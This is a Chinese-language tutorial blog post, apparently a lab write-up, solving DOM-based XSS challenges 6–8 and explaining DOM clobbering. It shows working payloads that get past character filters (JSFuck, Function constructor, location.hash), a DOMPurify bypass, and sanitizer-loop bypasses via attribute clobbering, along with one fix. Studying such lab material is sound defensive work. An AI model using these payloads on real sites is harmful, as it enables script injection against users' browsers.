目录
DOM靶场:
DOM靶场平台:Challenges
前五关请查看:DOM型xss靶场实验_domxss靶场-CSDN博客
第六关:
/* Challenge */
balls = (new URL(location).searchParams.get('balls') || "Ninja has Ligma")
balls = balls.replace(/[A-Za-z0-9]/g, '')
eval(balls)
这里考察的是无字母数字的绕过。
无字母数字的绕过,使用一个网站JSFuck - Write any JavaScript with 6 Characters: []()!+ (kamil-kielczewski.github.io)
使用这个网站来对我们需要写入的代码进行编码:
注意:在alert(1)进行转化之后,在浏览器传参时还需要进行urlcode编码:
编码之后再传参:
第七关:
/* Challenge */
mafia = (new URL(location).searchParams.get('mafia') || '1+1')
mafia = mafia.slice(0, 50)
mafia = mafia.replace(/[\`\'\"\+\-\!\\\[\]]/gi, '_')
mafia = mafia.replace(/alert/g, '_')
eval(mafia)
方法一:
使用匿名函数来做。
利用构造函数可以自动执行的特点来做。
Function(函数体)() :这类构造函数可以自动执行。 /ALERT(1337)/.source.toLowerCase():由于js严格区分大小写,我们使用toLowerCase()这个方法将其转小写后执行。
方法二:
利用两个函数,parseInt和toString来实现。先使用parseint函数将alert转化为30进制的数。再使用toString方法还原。
方法三:
location.hash.slice(1)来做。
location.hash取的是“#”后面的值,再加一个slice(1)方法截取(从#后第一位开始截取),就可以直接将alert(1337)截取出来。
第八关:
<h2 id="boomer">Ok, Boomer.</h2>
<script>
boomer.innerHTML = DOMPurify.sanitize(new URL(location).searchParams.get('boomer') || "Ok, Boomer")
setTimeout(ok, 2000)
</script>
1:这里使用DOMPurify框架进行了过滤。
2:这里使用了setTimeout这个函数,表示再两秒以后执行。我们去官网查看这个函数的使用方法:表明在setTimeout中可以使用函数。
3:利用a标签中的自带的toString方法,当调用a标签的时候,href中的字符串会覆盖a标签。
构建payload: boomer=<a id=ok href="javascript:alert(1337)">
id等于ok是为了setTimeout可以获取到我们写的a标签。
发现没有反应:注意这里存在使用DOMPurify进行了过滤,这个框架是开源的,可能将javascript过滤了,我们去找其中白名单的随便一个来替代:
我们这里使用白名单中的xmpp来构建payload:?boomer=a%20id=ok%20href="xmpp:alert(1337)" 最后成功执行。
整个题目最重要的一点是首先我们要创建出ok这个元素,最后在调用的时候可以使我们的setTimeout可以成功的接收到alert这个函数并执行。这个题目就是一个典型的DOM破坏。
DOM破坏:
dom破坏说简单一点就是对元素或者属性的覆盖。
一个简单的案例来理解dom破坏:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<form name="body">
<img id="appendChild">
</form>
</body>
<script>
var div = document.createElement('div'); //创建一个div标签
document.body.appendChild(div);
</script>
</html>
当我们去浏览器查看时就可以发现:
可以看到我们通过多层覆盖掉了document.body.appendChild ⽅法。这就是dom破坏
dom破坏案例1:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<div id="x">
<a id="x" name=y href="1:hasaki"></a>
</div>
</body>
<script>
// console.log(x); //一个集合
// console.log(x.x); //取出div标签
// console.log(x.y); //取出a标签
// alert(x.y) //取出a标签,在执行的时候自动调用toString方法。
const data = decodeURIComponent(location.hash.substr(1)) //使用data接收#后面的值
const root = document.createElement('div') //创建一个div元素
root.innerHTML = data //将data的值赋给div
for ( let el of root.querySelectorAll('*')){ //循环遍历div元素中的子元素。(如:a ,p,等标签)
for (let attr of el.attributes ){ //获取div子标签中的属性。
el.removeAttribute(attr.name); // 对子标签中的属性进行移除。
}
}
document.body.appendChild(root);
</script>
</html>
比如,我们传递的是:http://127.0.0.1/test.html#%3Cimg%20src=sad%20οnerrοr=alert(123)%3E
我们发现:src属性已经被移除,所以onerror触发不了。它将合法的属性去除掉了,非法的属性留下来了。
这里存在一个很大的问题:就是它所有的操作都是在同一组数组上面操作的。
本来img这个标签中存在两个属性:src和onerror。但是它直接将src删除之后就跳出循环,留下了onerror。
原因:这里我们可以使用指针的方式来理解
第一次:系统的指针指向了src这个属性,将src属性删除。将它删除后指针会自动向上走,而onerror会向下走。
第二次:将它删除src后指针会自动向上走,而onerror会向下走。就变成如下这样,当前指针的指向为空认为已经没有可以删除的属性了,所以就直接跳出循环。
那么这里就存在一个规律:当存在多个属性的时候,第奇数的属性会被删除,第偶数的属性会留下。这里就给了我们利用点。
构建payload:test.html#<img bbb=asda οnerrοr=alert('123') aaa=2121 src=sadad>(我们将src和onerror属性放在偶数位)。
最后成功的执行了。(注意我们写入的属性名称不能一样否则会被当做同一个属性一起删除)
修复方法:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
</body>
<script>
const data = decodeURIComponent(location.hash.substr(1))
const root = document.createElement('div')
root.innerHTML = data
for ( let el of root.querySelectorAll('*')){
let attrs = [];
for (let attr of el.attributes ){
attrs.push(attr.name); //将获取的属性放到attrs数组中
}
for (let name of attrs){ //循环数组依次删除。
el.removeAttribute(name);
}
}
document.body.appendChild(root);
</script>
</html>
测试:我们依然使用之前的payload发现已经失效了。
案例二:
承接我们上面的修复之后,在进行操作,不过在这里我们就要使用DOM破坏了。我们就要考虑有没有什么可以替代attributes,如果能够替代的话我们的payload就可以逃逸出来,删除的就是无关紧要的值。
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
</body>
<script>
const data = decodeURIComponent(location.hash.substr(1))
const root = document.createElement('div')
root.innerHTML = data
for ( let el of root.querySelectorAll('*')){
let attrs = [];
for (let attr of el.attributes ){
attrs.push(attr.name); //将获取的属性放到attrs数组中
}
for (let name of attrs){ //循环数组依次删除。
el.removeAttribute(name);
}
}
document.body.appendChild(root);
</script>
</html>
我们使用DOM破坏来操作。
我们构建payload如下:<style>@keyframes x{}</style><form style="animation-name: x;" onanimationstart="alert(1)"><input id=attributes ><input id=attributes>
解析:
<style>@keyframes x{}</style>是一种动画效果,其中并没有属性,不会被删除。
<form style="animation-name: x;" onanimationstart="alert(1)"><input id=attributes ><input id=attributes> 这里表示一个form表单,定义了一种动画效果,当动画效果执行后触发onanimationstart这个动作,执行alert这个函数实现弹窗。
在这里我们定义的input的id等于attributes,就是为了当代码执行到form时,如下代码:
el.attributes = form.attributes(这里原本的想法是来删除form中的元素,但是在form表单中存在id=attributes的input标签。此时就覆盖住了form表单中的元素,导致删除的是input标签中的id。最终导致form中的属性并没有被删除,alert函数被触发)
for ( let el of root.querySelectorAll('*')){
let attrs = [];
for (let attr of el.attributes ){
attrs.push(attr.name); //将获取的属性放到attrs数组中
}
for (let name of attrs){ //循环数组依次删除。
el.removeAttribute(name);
}
}
我们可以在浏览器中通过断点来调试,可以清晰的看到attributes被input中的覆盖住了:
到此就结束了,对于这道题目比较清晰,它是一道典型的dom破坏,破坏了attributes。